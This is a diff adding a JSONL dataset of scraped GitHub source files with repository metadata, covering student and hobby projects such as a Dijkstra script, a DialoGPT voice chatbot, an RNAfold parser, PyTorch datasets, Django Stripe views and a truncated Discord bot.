diff --git "a/3546.jsonl" "b/3546.jsonl" new file mode 100644--- /dev/null +++ "b/3546.jsonl" @@ -0,0 +1,1336 @@ +{"seq_id":"72588248698","text":"# -*- coding: utf8 -*-\n\n\n\n\nnodes = {\n \"a\":{\"b\":0.2,\"c\":0.3},\n \"b\":{\"d\":0.2,\"f\":0.3},\n \"c\":{\"d\":0.4,\"e\":0.1},\n \"d\":{\"e\":0.3},\n \"e\":{\"f\":0.2},\n \"f\":{}\n}\nfinish = {}\nmw = {}\n\ndef get_min_val(dicts={}):\n if dicts:\n val_list = []\n re_dicts = {}\n for k,v in dicts.items():\n val_list.append(v)\n re_dicts[v] = k\n min_val = min(val_list)\n min_key = re_dicts[min_val]\n return min_key\n\n\ndef dijkstra_search():\n mw[\"a\"] = 0\n finish[\"a\"] = 0\n queue = []\n queue.append(nodes[\"a\"])\n while queue:\n node = queue.pop(0)\n min_key = get_min_val(node)\n if min_key is not None:\n finish[min_key] = node[min_key]\n print(finish)\n for nd,val in node.items():\n if finish.get(nd) is not None:\n queue.append(nodes[nd])\n\n\n\n\nif __name__ == '__main__':\n dijkstra_search()","repo_name":"yanggelinux/algorithm-data-structure","sub_path":"algorithm/dijkstra_search.py","file_name":"dijkstra_search.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"24560580131","text":"from tkinter import *\n\nclass startingpage:\n islogin=0\n isregister=0\n\n \n\n def __init__(self):\n top =Tk()\n top.title(\"Online Job Portal\") \n #loginbtn.grid(column=0,row=)\n def login():\n self.islogin=1\n top.destroy()\n\n def register():\n self.isregister=1\n top.destroy()\n\n\n\n loginbtn= Button(top,text=\"LOGIN\",command=login)\n loginbtn.place(relx=0.5, rely=0.4, anchor=CENTER)\n\n loginbtn= Button(top,text=\"REGISTER\",command=register)\n loginbtn.place(relx=0.5, rely=0.55, anchor=CENTER)\n top.geometry('350x200')\n top.mainloop()\n\n \n\n","repo_name":"dhaneshm132/Online-Job-Portal-","sub_path":"startingpage_class.py","file_name":"startingpage_class.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"8551811696","text":"n = int(input())\nA = [int(x) for x in input().split()]\n\nsuffix = [0]*n\nsuffix[n-1] = A[n-1]\nfor i in range(n-2, -1, -1):\n suffix[i] += suffix[i+1]+A[i]\n\nMOD = 10**9+7\ntotal = 0\nfor i in range(n-1):\n total += A[i]*suffix[i+1]\n total %= MOD\n\nprint(total)\n","repo_name":"ongyiumark/programming-problems","sub_path":"ProgVar.Fun Sets/Asymptotic Analysis/ABC177 C - Sum of product of pairs.py","file_name":"ABC177 C - Sum of product of pairs.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"22053139586","text":"\"\"\"\nPortfolio Project - Option 2\nDavid Edwards\nCSC 525 - Principles of Machine Learning\nDr. Issac Gang\n9/11/2022\n\"\"\"\n\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\nimport torch\nfrom gtts import gTTS\nfrom playsound import playsound\nimport speech_recognition as sr\nimport os\n\n\ndef say_words(phrase: str) -> None:\n \"\"\"\n Takes in a phrase and speaks it out loud\n\n :type phrase: str\n :rtype: None\n :param phrase: string containing the phrase to be spoken\n \"\"\"\n tts = gTTS(text=phrase, lang='en')\n tts.save(\"output.mp3\")\n playsound(\"output.mp3\")\n os.remove(\"output.mp3\")\n\n\ndef main():\n # Disable parallelism, as it causes issues with playsound\n os.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\n\n # Load the model and tokenizer\n model_name = \"microsoft/DialoGPT-medium\"\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n model = AutoModelForCausalLM.from_pretrained(model_name)\n\n # Initiate the recognizer\n r = sr.Recognizer()\n\n with sr.Microphone() as source:\n print(\"Adjusting for ambient noise (1 second)\")\n print(\"Speak the word 'exit' to end the program\")\n # listen for 1 second to calibrate the energy threshold for ambient noise levels\n r.adjust_for_ambient_noise(source)\n\n i = 0\n while True:\n print(\"listening\")\n audio_input = r.listen(source)\n print(\"done\")\n try:\n text = r.recognize_google(audio_input)\n except sr.UnknownValueError:\n print(\"I didn't get that, please try again\")\n continue\n if text == \"exit\":\n print(\"Goodbye\")\n say_words(\"Goodbye\")\n break\n\n # Display what the user said\n print(\"You: {}\".format(text))\n\n # Encode the user input, add the eos_token and return a tensor in Pytorch\n input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors=\"pt\")\n bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if i > 0 else input_ids\n\n # Ensure we keep the chat history to inform the next response\n chat_history_ids = model.generate(\n bot_input_ids,\n max_length=1000,\n do_sample=True,\n top_p=0.95,\n top_k=50,\n temperature=0.9,\n pad_token_id=tokenizer.eos_token_id\n )\n\n # Decode the response\n output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)\n\n # Display, and say, the response\n say_words(output)\n print(\">> Bot: {}\".format(output))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"doofusdavid/CSC525_Module8_PortfolioProject_Option2","sub_path":"CSC525_PortfolioProject_Option2_Edwards_David.py","file_name":"CSC525_PortfolioProject_Option2_Edwards_David.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"73216434298","text":"#!/usr/bin/env python3\nimport sys\nimport re\n\n'''\nOutput element:\n>comment no 1\nUACACAUAUUACCACCGGUGAACUAUGCAAUUUUCUACCUUACCGGAGACAGAACUCUUCGA\n.....(.((..(((((((((((((.((((((((((((........(((((...))))))))))))))))).)))))))))))))..)).)......... (-42.50)\n.....(.((..(((((((((((((.((((((((((((({,,.....,,{{...}}})))))))))))))).)))))))))))))..)).}......... [-44.14]\n.....(.((..(((((((((((((.(((((((((((((..........((...))..))))))))))))).)))))))))))))..)).)......... {-38.20 d=6.37}\n frequency of mfe structure in ensemble 0.0698212; ensemble diversity 8.65 \n'''\n\nfloatregex=r'[-+]?[0-9]*\\.?[0-9]+(?:[eE][-+]?[0-9]+)?'\nregexmfeline=r'(^.+) \\( *('+floatregex+')\\)'#Group 1: MFE sec. structure, Group 2: MFE (in kcal/mol)\nregexprobline=r'(^.+) \\[ *('+floatregex+')\\]' #Group 1: base pair probabilities, Group 2: EFE (in kcal/mol)\nregexcentroidline=r'(^.+) { *('+floatregex+') d=('+floatregex+')}' #Group 1: centroid sec. structure, Group 2: centroid MFE (in kcal/mol), Group 3: distance to ensemble\nregexfreqdiv=r'frequency of mfe structure in ensemble ('+floatregex+'); ensemble diversity ('+floatregex+')' # Group 1: frequency, Group 2: diversity\ndef cleanstring(toclean):\n\treturn toclean.replace(\"\\n\",\"\").replace(\"\\r\",\"\")\n\ndef main(argv):\n\tif (len(argv)<2):\n\t\tprint(\"usage rnafold2csv.py \",file=sys.stderr)\n\t\tprint(\"Converts rnafold result file into an .csv to STDOUT\",file=sys.stderr)\n\t\texit(1)\n\tinputfile = argv[0]\n\toutputfile = argv[1]\n\twith open(outputfile,'w') as ofile:\n\t\twith open(inputfile) as ifile:\n\t\t\tprint('\"comment\",\"sequence_nodm\",\"mfesecstructure\",\"mfe\",\"basepairprobs\",\"efe\",\"centroidsecstructure\",\"centroidmfe\",\"ensembledistance\",\"freqmfestruct\",\"ensemblediversity\"',file=ofile)\n\t\t\tfor commentline in ifile:\n\t\t\t\t# Read the required lines:\n\t\t\t\tcomment=cleanstring(commentline).replace(\">\",\"\") # Just remove the first char, this may go badly, you watch...\n\t\t\t\tsequence=cleanstring(next(ifile))\n\t\t\t\tsecandmfeline=cleanstring(next(ifile))\n\t\t\t\tpairprobsefeline=cleanstring(next(ifile))\n\t\t\t\tcentroidmfeensembledist=cleanstring(next(ifile))\n\t\t\t\tfrequencyandensemblediv=cleanstring(next(ifile))\n\t\t\t\t# Run regex search\n\t\t\t\t# MFE\n\t\t\t\tmferesult=re.search(regexmfeline,secandmfeline)\n\t\t\t\tif mferesult:\n\t\t\t\t\tmfe=mferesult.group(2)\n\t\t\t\t\tmsecstruct=mferesult.group(1)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Failed reading mfe/secondary structure in this line: \"+secandmfeline,file=sys.stderr)\n\t\t\t\t\tprint(regexmfeline)\n\t\t\t\t\texit(2)\n\t\t\t\t# EFE\n\t\t\t\tensembleresult=re.search(regexprobline,pairprobsefeline)\n\t\t\t\tif ensembleresult:\n\t\t\t\t\tefe=ensembleresult.group(2)\n\t\t\t\t\tbpprob=ensembleresult.group(1)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Failed reading efe/base pair probabilities in this line: \"+pairprobsefeline,file=sys.stderr)\n\t\t\t\t\texit(2)\n\t\t\t\t# Centroid\n\t\t\t\tcentroidresult=re.search(regexcentroidline,centroidmfeensembledist)\n\t\t\t\tif centroidresult:\n\t\t\t\t\tensembledistance=centroidresult.group(3)\n\t\t\t\t\tcentroidmfe=centroidresult.group(2)\n\t\t\t\t\tcentroidsecstructure=centroidresult.group(1)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Failed reading the centroid structure in this line: \"+centroidmfeensembledist,file=sys.stderr)\n\t\t\t\t\texit(2)\n\t\t\t\t#Frequency, Diversity\n\t\t\t\tfreqresult=re.search(regexfreqdiv,frequencyandensemblediv)\n\t\t\t\tif freqresult:\n\t\t\t\t\tdiversity=freqresult.group(2)\n\t\t\t\t\tfrequency=freqresult.group(1)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Failed reading the frequency/diversity in this line: \"+frequencyandensemblediv,file=sys.stderr)\n\t\t\t\t\texit(2)\n\t\t\t\tprint(f'\"{comment}\",\"{sequence}\",\"{msecstruct}\",{mfe},\"{bpprob}\",{efe},\"{centroidsecstructure}\",{centroidmfe},{ensembledistance},{frequency},{diversity}',file=ofile)\ntry:\n snakemake\nexcept NameError:\n snakemake = None\n\nif snakemake is not None:\n\tmain([snakemake.input[0],snakemake.output[0]])\nelif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"OstfriesenBI/PredmiRNA","sub_path":"scripts/rnafold2csv/rnafold2csv.py","file_name":"rnafold2csv.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"32092644608","text":"from torch.utils.data import TensorDataset, Dataset\nimport torch\n\n\nclass FirstOrderDynamicsDataset(Dataset):\n\tdef __init__(self, x, xd):\n\t\tself.x = x\n\t\tself.xd = xd\n\n\tdef __getitem__(self, index):\n\t\tx_batch = self.x[index]\n\t\txd_batch = self.xd[index]\n\t\treturn x_batch, xd_batch\n\n\tdef __len__(self):\n\t\treturn self.x.size(0)\n\n\nclass SecondOrderDynamicsDataset(Dataset):\n\tdef __init__(self, x, xd, xdd):\n\t\tself.x = x\n\t\tself.xd = xd\n\t\tself.xdd = xdd\n\n\tdef __getitem__(self, index):\n\t\tx_batch = self.x[index]\n\t\txd_batch = self.xd[index]\n\t\tstate_batch = {'x': x_batch, 'xd': xd_batch}\n\t\txdd_batch = self.xdd[index]\n\t\treturn state_batch, xdd_batch\n\n\tdef __len__(self):\n\t\treturn self.x.size(0)\n\n\nclass PullbackDataset(Dataset):\n\tdef __init__(self, q, qd, qdd, psi_list=None, J_list=None, Jd_list=None, dphi_list=None):\n\t\tassert q.size(0) == qd.size(0)\n\t\tassert q.size(0) == qdd.size(0)\n\t\tif psi_list is not None:\n\t\t\tassert all(q.size(0) == psi.size(0) for psi in psi_list)\n\t\tif J_list is not None:\n\t\t\tassert all(q.size(0) == J.size(0) for J in J_list)\n\t\tif Jd_list is not None:\n\t\t\tassert all(q.size(0) == Jd.size(0) for Jd in Jd_list)\n\t\t\tassert len(psi_list) == len(J_list) and len(J_list) == len(Jd_list)\n\t\tif dphi_list is not None:\n\t\t\tassert all(q.size(0) == dphi.size(0) for dphi in dphi_list)\n\t\t\tassert len(psi_list) == len(dphi_list)\n\n\t\tself.x = torch.cat((q, qd), dim=1)\n\t\tself.qdd = qdd\n\t\tself.psi_list = psi_list\n\t\tself.J_list = J_list\n\t\tself.Jd_list = Jd_list\n\t\tself.dphi_list = dphi_list\n\n\tdef __getitem__(self, index):\n\t\tx_batch = {\n\t\t\t'x': self.x[index],\n\t\t\t'psi_list': [psi[index] for psi in self.psi_list] if self.psi_list is not None else None,\n\t\t\t'J_list': [J[index] for J in self.J_list] if self.J_list is not None else None,\n\t\t\t'Jd_list': [Jd[index] for Jd in self.Jd_list] if self.Jd_list is not None else None,\n\t\t\t'dphi_list': [dphi[index] for dphi in self.dphi_list] if self.dphi_list is not None else None\n\t\t}\n\t\ty_batch = self.qdd[index]\n\t\treturn x_batch, y_batch\n\n\tdef __len__(self):\n\t\treturn self.x.size(0)\n\n\nclass ContextDataset(Dataset):\n\tdef __init__(self, q_config, qd_config, qdd_config,\n\t\t\t\t q_leaf_list, qd_leaf_list, J_list, Jd_list, force_list, metric_list):\n\n\t\tself.state = torch.cat((q_config, qd_config), dim=1)\n\t\tself.qdd_config = qdd_config\n\t\tself.q_leaf_list = q_leaf_list\n\t\tself.qd_leaf_list = qd_leaf_list\n\t\tself.J_list = J_list\n\t\tself.Jd_list = Jd_list\n\t\tself.force_list = force_list\n\t\tself.metric_list = metric_list\n\n\tdef __getitem__(self, index):\n\t\tx_batch = {\n\t\t\t'state': self.state[index],\n\t\t\t'q_leaf_list': [q_leaf[index] for q_leaf in self.q_leaf_list],\n\t\t\t'qd_leaf_list': [qd_leaf[index] for qd_leaf in self.qd_leaf_list],\n\t\t\t'J_list': [J[index] for J in self.J_list],\n\t\t\t'Jd_list': [Jd[index] for Jd in self.Jd_list],\n\t\t\t'force_list': [force[index] for force in self.force_list],\n\t\t\t'metric_list': [metric[index] for metric in self.metric_list]\n\t\t}\n\t\ty_batch = self.qdd_config[index]\n\t\treturn x_batch, y_batch\n\n\tdef __len__(self):\n\t\treturn self.state.size(0)\n\n\nclass ContextDatasetMomentum(Dataset):\n\tdef __init__(self, q_config, qd_config, q_leaf_list, J_list, momentum_list, metric_list):\n\n\t\tself.state = q_config\n\t\tself.qd_config = qd_config\n\t\tself.q_leaf_list = q_leaf_list\n\t\tself.J_list = J_list\n\t\tself.momentum_list = momentum_list\n\t\tself.metric_list = metric_list\n\n\tdef __getitem__(self, index):\n\t\tx_batch = {\n\t\t\t'state': self.state[index],\n\t\t\t'q_leaf_list': [q_leaf[index] for q_leaf in self.q_leaf_list],\n\t\t\t'J_list': [J[index] for J in self.J_list],\n\t\t\t'momentum_list': [momentum[index] for momentum in self.momentum_list],\n\t\t\t'metric_list': [metric[index] for metric in self.metric_list]\n\t\t}\n\t\ty_batch = self.qd_config[index]\n\t\treturn x_batch, y_batch\n\n\tdef __len__(self):\n\t\treturn self.qd_config.size(0)\n\n","repo_name":"mrana6/hgrmpflow","sub_path":"differentiable_rmpflow/learning/utils/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"38045897056","text":"# 获取翻页的数据\n# 直接运行代码就好\nimport requests\n# 引用requests模块\nurl = 'https://c.y.qq.com/soso/fcgi-bin/client_search_cp'\nname = input('请输入歌手的名字:')\nfor x in range(5):\n params = {\n 'ct':'24',\n 'qqmusic_ver': '1298',\n 'new_json':'1',\n 'remoteplace':'sizer.yqq.song_next',\n 'searchid':'64405487069162918',\n 't':'0',\n 'aggr':'1',\n 'cr':'1',\n 'catZhida':'1',\n 'lossless':'0',\n 'flag_qc':'0',\n 'p':str(x+1),\n 'n':'20',\n 'w': name,\n 'g_tk':'5381',\n 'loginUin':'0',\n 'hostUin':'0',\n 'format':'json',\n 'inCharset':'utf8',\n 'outCharset':'utf-8',\n 'notice':'0',\n 'platform':'yqq.json',\n 'needNewCode':'0' \n }\n # 将参数封装为字典\n res_music = requests.get(url,params=params)\n # 调用get方法,下载这个字典\n json_music = res_music.json()\n # 使用json()方法,将response对象,转为列表/字典\n list_music = json_music['data']['song']['list']\n # 一层一层地取字典,获取歌单列表\n for music in list_music:\n # list_music是一个列表,music是它里面的元素\n print(music['name'])\n # 以name为键,查找歌曲名\n print('所属专辑:'+music['album']['name'])\n # 查找专辑名\n print('播放时长:'+str(music['interval'])+'秒')\n # 查找播放时长\n print('播放链接:https://y.qq.com/n/yqq/song/'+music['mid']+'.html\\n\\n')\n # 查找播放链接","repo_name":"xingorg1/JuFengGuo","sub_path":"Python/Robots/5-music2.py","file_name":"5-music2.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"zh","doc_type":"code","stars":10,"dataset":"github-code","pt":"23"} +{"seq_id":"39267576777","text":"# Load the framework\nimport gym\n\n#Load the environment\nenv = gym.make('FrozenLake-v0')\n\n#Each environment has a 'observation_space' and a 'action_space'\n#The former is information the environment can know. In this case, it's a 4x4 grid of 16 numbers\nprint(env.observation_space)\n#The above will show you Discrete(16), meaning it returns an integer with 16 possible values, so 0-15\n#these represent the 16 spots the 'player' can be in.\n\n#The action_space is the actions you can do.\nprint(env.action_space)\n#'Discrete(4)' refers to the 4 directions you can move in, 0-3. These are the values you can pass to the 'step' call.\nscore = 0\n#for a bunch of episodes\nfor _ in range(10000):\n #refresh and render the initial state\n env.reset()\n\n for t in range(100): #take 100 steps\n #through trial, find that\n # 0 = LEFT\n # 1 = DOWN\n # 2 = RIGHT\n # 3 = UP\n # env.action_space.sample() = random move\n obs, rew, done, inf = env.step(env.action_space.sample()) # take an action\n print(obs)\n if done:\n print(\"Episode over after {} steps\".format(t+1))\n score += rew\n env.render()\n print(score)\n break\n","repo_name":"andrewhinh/dma-portfolio","sub_path":"gymtest1.py","file_name":"gymtest1.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"71432787580","text":"import pandas\r\nimport matplotlib.pyplot as plt\r\nimport scipy.cluster.hierarchy as sch\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.cluster import AgglomerativeClustering\r\n\r\n# import dataframe\r\ndf = pandas.read_csv('NewКластеризация.csv', sep=\";\", index_col=\"Регион\")\r\nprint(df)\r\nN_COLUMNS = len(df.columns)\r\nN_ROWS = len(df.index)\r\n\r\n# Normalizing dataframe\r\nfor i in range(N_COLUMNS):\r\n df.iloc[:, i] = ((df.iloc[:, i] - df.iloc[:, i].min()) / (df.iloc[:, i].max() - df.iloc[:, i].min()))\r\n\r\n# KMeans simple\r\nkmeans = KMeans(n_clusters=3).fit(df)\r\ncentroids = kmeans.cluster_centers_\r\n\r\n# Hierarchy\r\ndendrogram = sch.dendrogram(sch.linkage(df, method='ward'), labels=df.index)\r\nac = AgglomerativeClustering(n_clusters=3).fit(df)\r\n\r\n# pl = plt.scatter(df.iloc[:, 3], df[\"Количество преступлений на 100000 человек\"], c= kmeans.labels_.astype(float), s=50, alpha=0.5)\r\n# pl1 = df.plot.scatter(x=\"Количество преступлений на 100000 человек\", y=\"Общая площадь жилых помещений\")\r\n# pl2 = df.plot.scatter(x=\"Среднемесячный размер социальной поддержки на одного пользователя\", y=\"Общая площадь жилых помещений\")\r\n# pl3 = df.plot.scatter(x=\"Среднемесячный размер социальной поддержки на одного пользователя\", y=\"Количество преступлений на 100000 человек\")\r\n\r\ndf[\"KMeans\"] = kmeans.labels_\r\ndf[\"AC\"] = ac.labels_\r\n\r\nwith pandas.option_context('display.max_rows', None, 'display.max_columns', None):\r\n print(df.sort_values(\"AC\"))\r\nplt.show()\r\n\r\ndf.to_csv(path_or_buf=\"res.csv\")\r\n","repo_name":"AndreiAvinov/cluster-an","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"35077170098","text":"#!/usr/bin/python\n\nfrom ansible.module_utils.basic import AnsibleModule\n\n\ndef setup_module():\n return AnsibleModule(\n argument_spec=dict(\n name=dict(required=True, type='str'),\n ),\n supports_check_mode=True\n )\n\n\ndef main():\n module = setup_module()\n\n if module.check_mode:\n module.exit_json(changed=False, msg='This is check mode')\n\n if module.params['name'] == 'Oscar':\n module.fail_json(msg=\"Don't use the name 'Oscar'\")\n\n module.exit_json(changed=True, msg=module.params['name'])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zcmarine/PyGotham2017","sub_path":"basic_module.py","file_name":"basic_module.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"3684420785","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\ndef get_logger(name, filename = '', \\\n format = '[%(asctime)s] %(levelname)-7s %(name)s %(lineno)d %(threadName)s %(message)s', \\\n level = logging.DEBUG, default = False):\n \n logger = logging.getLogger(name)\n if filename:\n handler = RotatingFileHandler(filename)\n handler.setFormatter(logging.Formatter(format))\n if default:\n logging.root.addHandler(handler)\n else:\n logger.addHandler(handler)\n if default:\n logging.root.setLevel(level)\n else:\n logger.setLevel(level)\n \n return logger","repo_name":"LucifaDva/Plane","sub_path":"natp_probe/natp_core/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"36211120598","text":"class Settings:\n \"\"\"设置\"\"\"\n\n def __init__(self):\n \"\"\"初始化静态参数\"\"\"\n # 屏幕尺寸\n self.screen_width = 1024\n self.screen_height = 768\n # 屏幕颜色\n self.bg_color = (200, 200, 200)\n\n\n\n # 按钮颜色\n self.button_color = (206, 87, 109)\n self.text_color = (255, 255, 255)\n # 按钮尺寸\n self.button_width, self.button_height = 200, 50\n\n # 矩形尺寸\n self.rect_width = 50\n self.rect_height = 200\n # 矩形颜色\n self.rect_color = (20, 20, 20)\n\n\n # 子弹尺寸\n self.bullet_width = 20\n self.bullet_height = 6\n # 子弹颜色\n self.bullet_color = (255, 255, 255)\n\n # 子弹同屏数量\n self.bullet_allowed = 5\n\n # 未射中子弹数上限\n self.not_shot = 3\n\n # 难度递增系数\n self.speedup_scale = 1.1\n\n self.initialize_dynamic_settings()\n\n def initialize_dynamic_settings(self):\n \"\"\"初始化动态参数\"\"\"\n # 飞船速度\n self.ship_speed = 1\n # 矩形速度\n self.rect_speed = 1\n # 子弹速度\n self.bullet_speed = 2\n\n def increase_speed(self):\n \"\"\"增快速度\"\"\"\n # 飞船速度\n self.ship_speed *= self.speedup_scale\n # 矩形速度\n self.rect_speed *= self.speedup_scale\n # 子弹速度\n self.bullet_speed *= self.speedup_scale","repo_name":"Silent-wqh/PycharmProjects","sub_path":"pythonProject/Game_Practice/14-2_shot_practice/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9608284895","text":"import argparse\nimport glob\nimport os\nfrom yaml import full_load\n\ndef parse_workflow_file(file_path):\n with open(file_path, 'r', encoding='utf-8') as file:\n workflow = full_load(file)\n\n name = workflow.get('name', 'Unnamed workflow')\n jobs = workflow.get('jobs', {})\n\n inputs_table = []\n secrets_table = []\n\n on = workflow.get('on', {})\n if isinstance(on, dict):\n workflow_call = on.get('workflow_dispatch', None) or on.get('workflow_call', None)\n if workflow_call:\n inputs = workflow_call.get('inputs', {})\n secrets = workflow_call.get('secrets', {})\n\n if inputs:\n inputs_table.append('| Name | Description | Default | Required |')\n inputs_table.append('| ---- | ----------- | ------- | -------- |')\n for name, details in inputs.items():\n inputs_table.append(f\"| {name} | {details.get('description', '')} | {details.get('default', '')} | {details.get('required', '')} |\")\n\n if secrets:\n secrets_table.append('| Name | Description | Required |')\n secrets_table.append('| ---- | ----------- | -------- |')\n for name, details in secrets.items():\n secrets_table.append(f\"| {name} | {details.get('description', '')} | {details.get('required', '')} |\")\n\n jobs_table = ['| Name | Job ID | Runs On |', '| ---- | ------ | ------- |']\n for name, details in jobs.items():\n jobs_table.append(f\"| {details.get('name', 'Unnamed job')} | {name} | {details.get('runs-on')} |\")\n\n return {\n 'name': name,\n 'inputs': '\\n'.join(inputs_table) if inputs_table else 'No inputs specified',\n 'secrets': '\\n'.join(secrets_table) if secrets_table else 'No secrets specified',\n 'jobs': '\\n'.join(jobs_table) if jobs_table else 'No jobs specified',\n }\n\ndef generate_docs_for_workflow_dir(workflow_dir, output_file):\n workflow_files = glob.glob(os.path.join(workflow_dir, '*.yml'))\n workflows = [parse_workflow_file(file) for file in workflow_files]\n\n with open(output_file, 'w', encoding='utf-8') as file:\n for workflow in workflows:\n file.write(f\"# {workflow['name']}\\n\\n\")\n file.write(f\"Inputs:\\n\\n{workflow['inputs']}\\n\\n\")\n file.write(f\"Secrets:\\n\\n{workflow['secrets']}\\n\\n\")\n file.write(f\"Jobs:\\n\\n{workflow['jobs']}\\n\\n\")\n print(f\"Generated docs for {len(workflows)} workflows, output to {output_file}\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Generate markdown docs for GitHub Actions workflows.')\n parser.add_argument('--workflow_dir', required=True, help='Directory containing workflow files')\n parser.add_argument('--output_file', required=True, help='Output markdown file')\n args = parser.parse_args()\n\n generate_docs_for_workflow_dir(args.workflow_dir, args.output_file)\n","repo_name":"feroxsys/gh-actions-docs","sub_path":"gh_workflow_docs.py","file_name":"gh_workflow_docs.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33948497042","text":"# Framework imports\nimport time\n\nfrom behave import *\n\n# Local imports\nfrom modules.add_to_cart import AddToCart\n\n\n@given('url of product page to check add to cart')\ndef step_impl(context):\n add_to_cart = AddToCart(context)\n add_to_cart.find_add_to_()\n context.current_obj = add_to_cart\n\n\n@when('add to cart found')\ndef step_impl(context):\n if not context.current_obj.is_add_to_cart_found and not context.current_obj.is_cart_flow:\n context.current_obj.web.skip_all_remaining_scenarios()\n\n\n@then('click on add to cart and proceed to next step')\ndef step_impl(context):\n if context.current_obj.is_cart_flow:\n context.current_obj.cart_flow_(counter=0)\n else:\n context.current_obj.select_color_size()\n context.current_obj.hit_add_to_cart_element()\n","repo_name":"maazsabahuddin/bdd-poc-nate","sub_path":"features/steps/add_to_cart.py","file_name":"add_to_cart.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"14495278006","text":"from django.shortcuts import render ,redirect\nfrom .models import Subject,Lesson,Grade,Exam,Contact\nfrom .filters import LessonFilter\nfrom .forms import ContactForm\nfrom django.contrib import messages\nfrom django.conf import settings # new\nfrom django.http.response import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport stripe\nfrom subscriptions.models import StripeCustomer\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\n@login_required\ndef home(request):\n subject = Subject.objects.all()\n\n try:\n # Retrieve the subscription & product\n stripe_customer = StripeCustomer.objects.get(user=request.user)\n stripe.api_key = settings.STRIPE_SECRET_KEY\n subscription = stripe.Subscription.retrieve(stripe_customer.stripeSubscriptionId)\n product = stripe.Product.retrieve(subscription.plan.product)\n\n # Feel free to fetch any additional data from 'subscription' or 'product'\n # https://stripe.com/docs/api/subscriptions/object\n # https://stripe.com/docs/api/products/object\n context = {\n 'subscription': subscription,\n 'product': product,\n 'subject': subject\n\n }\n\n return render(request, 'thuto/index2.html',context )\n except StripeCustomer.DoesNotExist:\n\n return render(request, 'thuto/index2.html')\n\n\n@login_required\ndef GradePage(request,pk):\n subject =Subject.objects.get(id=pk)\n grade = subject.lesson_set.all()\n\n my_filter = LessonFilter(request.GET, queryset=grade)\n grade =my_filter.qs\n\n context = {'grade':grade,'subject':subject,'my_filter':my_filter}\n return render(request, 'thuto/Grade2.html',context)\n@login_required\ndef LessonPage(request,pk):\n lesson = Lesson.objects.get(id=pk)\n\n context = {'lesson':lesson}\n return render(request,'thuto/Lesson4.html',context)\n\n@login_required\ndef examonline(request,pk):\n result = Lesson.objects.get(id=pk)\n results = result.exam_set.all()\n\n context={'results':results}\n return render(request,'thuto/index3.html',context)\n@login_required\ndef news(request):\n context ={}\n return render(request,'thuto/news.html',context)\n@login_required\ndef contact(request):\n form = ContactForm()\n\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n form.save()\n name = form.cleaned_data.get('name')\n messages.success(request,'Thank you '+ str(name) +' for sending us a message we will take a look at!!!!')\n\n return redirect('thuto:contact')\n\n context ={'form':form}\n return render(request,'thuto/contact.html',context)\n\n\ndef visitor(request):\n context ={}\n return render(request,'thuto/visitor.html',context)\n\ndef login_demo(request):\n context= {}\n return render(request,'thuto/login_demo.html',context)\n\ndef register_demo(request):\n return render(request, 'thuto/signup.html')\n\n\n\n\n","repo_name":"Albert802/djangostripe","sub_path":"thuto/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1715284204","text":"from re import M\nimport discord\nimport requests\nimport json\nimport utils.json_loader\nimport math\n\nfrom datetime import datetime, date, time, timezone\nfrom discord import Embed, Colour\nfrom discord import app_commands\nfrom discord.ext import commands\nfrom helpers.config import GUILD_ID, VATADR_BLUE, 